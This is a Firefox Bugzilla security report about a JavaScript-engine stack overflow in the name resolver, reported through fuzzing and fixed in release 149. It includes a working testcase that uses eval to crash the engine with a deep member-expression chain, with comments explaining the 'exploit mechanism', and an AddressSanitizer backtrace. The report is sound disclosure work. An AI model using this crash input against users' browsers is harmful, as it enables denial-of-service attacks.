Closed Bug 2013605 Opened 9 months ago Closed 9 months ago

AddressSanitizer: stack-overflow [@ (anonymous namespace)::NameResolver::nameExpression]

Categories

(Core :: JavaScript Engine, defect)

x86_64
Linux
defect

Tracking

()

VERIFIED FIXED
149 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 --- wontfix
firefox147 --- wontfix
firefox148 --- wontfix
firefox149 + verified

People

(Reporter: decoder, Assigned: arai)

Details

(7 keywords, Whiteboard: [bugmon:update,bisected,confirmed][adv-main149-])

Attachments

(2 files, 2 external files)

The following testcase crashes on mozilla-central revision 20260130-20b1a1e6c530 (fuzzing-asan-opt build, run with --fuzzing-safe --no-threads):

// Stack overflow in NameFunctions.cpp::nameExpression() via unchecked recursion
//
// VULNERABILITY SUMMARY:
// nameExpression() in NameFunctions.cpp recurses on DotExpr chains without
// AutoCheckRecursionLimit. This is normally safe because FoldConstants visits
// the tree first with recursion limit checks. However, FoldConstants'
// internalVisitCall() deliberately SKIPS visiting a parenthesized non-function
// callee (to preserve 'this' semantics). A deep member expression chain inside
// such a callee bypasses FoldConstants' recursion depth check entirely.
//
// ROOT CAUSE (FoldConstants.cpp, internalVisitCall):
//   ParseNode* callee = node->left();
//   if (node->isKind(NewExpr) || !callee->isInParens() || callee->is<FunctionNode>())
//     visit(callee);  // <-- SKIPPED when callee is parenthesized non-function
//
// EXPLOIT MECHANISM:
// 1. Parser creates DotExpr chains iteratively (no recursion limit)
// 2. FoldConstants skips the parenthesized assignment callee (no recursion check)
// 3. NameResolver's MaxParents=100 silently skips deep nodes (returns true)
//    but the shallow FunctionNode is still visited
// 4. resolveFun -> nameExpression recurses the full deep chain without any
//    stack limit check, causing stack overflow
//
// ATTACK PATTERN: (a.b.b...b = function(){})()
//   - Outer () make callee parenthesized
//   - Callee is AssignmentExpr, not FunctionNode -> FoldConstants skips it
//   - Deep DotExpr chain (left of assignment) bypasses all recursion checks
//   - Anonymous function (right of assignment) triggers nameExpression on chain
//
// WEB-COMPATIBLE: Uses eval() (standard JS API, equivalent to <script> tag).
// Deep member expression chain constructed via string concatenation.

var code = "(a";
for (var i = 0; i < 200000; i++) {
    code += ".b";
}
code += " = function(){})()";
eval(code);

Backtrace:

=================================================================
==1744767==ERROR: AddressSanitizer: stack-overflow on address 0x7fff5f314fe0 (pc 0x64d89393c28e bp 0x7fff5f315090 sp 0x7fff5f314fc0 T0)
    #0 0x64d89393c28e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:93
    #1 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
    #2 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
    #3 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
    #4 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
    #5 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
    #6 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
    #7 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14
    [...]
    #245 0x64d89393c45e in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*) /js/src/frontend/NameFunctions.cpp:98:14

SUMMARY: AddressSanitizer: stack-overflow /js/src/frontend/NameFunctions.cpp:93 in (anonymous namespace)::NameResolver::nameExpression(js::frontend::ParseNode*, bool*)
==1744767==ABORTING

This bug is part of a series of bugs reported by Anthropic, thank you for your contributions to Firefox!

Attached file Testcase —

Arai, this seems like your area of expertise. Can you take a look?

Flags: needinfo?(arai.unmht)
Attached file (secure) —
Assignee: nobody → arai.unmht
Status: NEW → ASSIGNED
Flags: needinfo?(arai.unmht)
Attached file (secure) —

Verified bug as reproducible on mozilla-central 20260131091743-1be4ab5933df.
Unable to bisect testcase (Testcase reproduces on start build!):

Start: d87cd04072b041911d218cec1baf59de7f2a5ede (20251103213617)
End: 20b1a1e6c530f3506d5378bf5f4da504b6f03661 (20260130092147)
BuildFlags: BuildFlags(asan=True, tsan=False, debug=False, fuzzing=True, coverage=False, valgrind=False, no_opt=False, fuzzilli=False, nyx=False, searchfox=False, afl=False)

Whiteboard: [bugmon:update,bisect] → [bugmon:update,bisected,confirmed]

Note that stack overflow crashes from recursion in C++ code are usually not exploitable. Unless we can jump over the guard page or something, it's fine to land both patches after review.

Marking sec-other per comment 7.

Keywords: sec-other
Group: javascript-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 9 months ago
Resolution: --- → FIXED
Target Milestone: --- → 149 Branch

Verified bug as fixed on rev mozilla-central 20260202213805-6ef2f254c467.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.

Status: RESOLVED → VERIFIED
Keywords: bugmon
Whiteboard: [bugmon:update,bisected,confirmed] → [bugmon:update,bisected,confirmed][adv-main149-]
Group: core-security-release
Keywords: keep-hidden
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: